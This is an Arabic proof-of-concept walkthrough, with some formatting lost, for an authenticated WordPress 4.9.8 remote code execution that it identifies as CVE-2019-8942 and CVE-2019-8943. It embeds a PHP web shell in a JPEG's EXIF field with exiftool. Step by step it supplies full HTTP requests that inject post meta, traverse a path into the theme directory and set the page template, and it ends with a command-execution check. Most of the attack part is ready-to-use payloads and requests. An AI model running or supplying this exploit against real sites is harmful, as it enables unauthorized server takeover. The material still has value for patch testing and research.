
PoC بسيط لـ WordPress RCE (امتياز المؤلف)، انظر إلى CVE-2019-8942 و CVE-2019-8943.
إثبات مفهوم بسيط لـ WordPress RCE (صلاحية المؤلف)، راجع CVE-2019-8942 و CVE-2019-8943.
docker pull avfisherdocker/wordpress:4.9.8docker run -d -p 80:80 avfisherdocker/wordpress:4.9.8| النوع | اسم المستخدم | كلمة المرور |
|---|---|---|
| mysql | root | root |
| wordpress | admin | admin4wp498 |
| wordpress | author | author4wp498 |
poc.jpg باستخدام exiftoolexiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"wpscan -u <URL> -et، مثل twentyseventeen كقالب افتراضي في WordPress 4.9.8poc.jpgauthor؛Media - Add New في لوحة التحكم لرفع ملف poc.jpg؛Edit more details - Update؛/wp-admin/post.php مشابه لما يلي ثم أرسله إلى Repeater:POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1
_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc
Media واختر الصورة المرفوعة في الخطوة 4؛Edit Image لقص الصورة ثم انقر على Save؛/wp-admin/admin-ajax.php مشابه لما يلي ثم أرسله إلى Repeater:POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/upload.php?item=6&mode=edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126785
Connection: close
action=image-editor&_ajax_nonce=0fc4799ff5&postid=6&history=%5B%7B%22c%22%3A%7B%22x%22%3A10%2C%22y%22%3A13%2C%22w%22%3A32%2C%22h%22%3A26%7D%7D%5D&target=full&context=&do=save
poc.jpg#/poc.jpg&meta_input[_wp_attached_file]=<CURRENT YEAR>/<CURRENT MONTH>/poc.jpg#/poc.jpg (مثل &meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg لشهر فبراير 2019) في طلب POST /wp-admin/post.php الملتقط في الخطوة 4 في Burp Repeater كما يلي ثم انقر على Go.POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1
_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc&meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg
/wp-admin/admin-ajax.php الملتقط في الخطوة 5 في Burp Repeater.poc.jpg#/../../../../themes/<CURRENT THEME>/poc.jpg&meta_input[_wp_attached_file]=<CURRENT YEAR>/<CURRENT MONTH>/poc.jpg#/../../../../themes/<CURRENT THEME>/poc.jpg (مثل &meta_input[_wp_attached_file]=2019/02/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg لشهر فبراير 2019) في طلب POST /wp-admin/post.php الملتقط في الخطوة 4 في Burp Repeater كما يلي وانقر على Go.POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1
_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc&meta_input[_wp_attached_file]=2019/02/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg
/wp-admin/admin-ajax.php الملتقط في الخطوة 5 في Burp Repeater؛poc-e1551133870454.jpg.

Posts - Add New لإنشاء منشور جديد وانقر على Publish؛/wp-admin/post.php مشابه لما يلي ثم أرسله إلى Repeater:POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://180.76.234.24/wp-admin/post-new.php?wp-post-new-reload=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 1116
Cookie: wp-saving-post=7-check; wp-saving-post=10-saved; wordpress_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C9f3191099eadc9810a0a7f0ec2a9caa5ceed7f86be6100640b7d444c89f2cc1a; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-2=1551134027; wordpress_logged_in_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C85b467e06eb3b1461380c8672c848b04bf78da7e0c637ba0af40634b437da039
Connection: close
Upgrade-Insecure-Requests: 1
_wpnonce=16f64ed1dd&_wp_http_referer=%2Fwp-admin%2Fpost-new.php&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=post&original_post_status=auto-draft&referredby=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&auto_draft=&post_ID=7&meta-box-order-nonce=32fc2f4c9b&closedpostboxesnonce=f550a7dc60&post_title=Here+is+the+PoC&samplepermalinknonce=d703c244b8&content=Here+is+the+PoC.&wp-preview=&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=02&jj=25&aa=2019&hh=22&mn=33&ss=47&hidden_mm=02&cur_mm=02&hidden_jj=25&cur_jj=25&hidden_aa=2019&cur_aa=2019&hidden_hh=22&cur_hh=22&hidden_mn=33&cur_mn=33&original_publish=Publish&publish=Publish&post_format=0&post_category%5B%5D=0&tax_input%5Bpost_tag%5D=&newtag%5Bpost_tag%5D=&_thumbnail_id=-1&excerpt=&trackback_url=&metakeyinput=&metavalue=&_ajax_nonce-add-meta=ba64f17c06&advanced_view=1&comment_status=open&ping_status=open&post_name=
&meta_input[_wp_page_template]=<اسم ملف الصورة المقصوصة الملاحظ في الخطوة 9> في طلب POST /wp-admin/post.php الملتقط في الخطوة السابقة في Burp Repeater كما يلي ثم انقر على Go:POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://180.76.234.24/wp-admin/post-new.php?wp-post-new-reload=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 1116
Cookie: wp-saving-post=7-check; wp-saving-post=10-saved; wordpress_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C9f3191099eadc9810a0a7f0ec2a9caa5ceed7f86be6100640b7d444c89f2cc1a; wordpress_test_cookie=WP+Cookie+check; wp-settings-time-2=1551134027; wordpress_logged_in_21006e0e4224057a8cdfd0bb01a98baa=author%7C1551306468%7CGGxuLa225e31DAfLkssKbzMOiOdk6K4grU75SWKw2tO%7C85b467e06eb3b1461380c8672c848b04bf78da7e0c637ba0af40634b437da039
Connection: close
Upgrade-Insecure-Requests: 1
_wpnonce=16f64ed1dd&_wp_http_referer=%2Fwp-admin%2Fpost-new.php&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=post&original_post_status=auto-draft&referredby=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&_wp_original_http_referer=http%3A%2F%2F180.76.234.24%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&auto_draft=&post_ID=7&meta-box-order-nonce=32fc2f4c9b&closedpostboxesnonce=f550a7dc60&post_title=Here+is+the+PoC&samplepermalinknonce=d703c244b8&content=Here+is+the+PoC.&wp-preview=&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=02&jj=25&aa=2019&hh=22&mn=33&ss=47&hidden_mm=02&cur_mm=02&hidden_jj=25&cur_jj=25&hidden_aa=2019&cur_aa=2019&hidden_hh=22&cur_hh=22&hidden_mn=33&cur_mn=33&original_publish=Publish&publish=Publish&post_format=0&post_category%5B%5D=0&tax_input%5Bpost_tag%5D=&newtag%5Bpost_tag%5D=&_thumbnail_id=-1&excerpt=&trackback_url=&metakeyinput=&metavalue=&_ajax_nonce-add-meta=ba64f17c06&advanced_view=1&comment_status=open&ping_status=open&post_name=&meta_input[_wp_page_template]=poc-e1551133870454.jpg
post_ID=7.http://127.0.0.1/?p=7 مع البيانات cmd=id، سترى أن الكود نُفذ بنجاح.
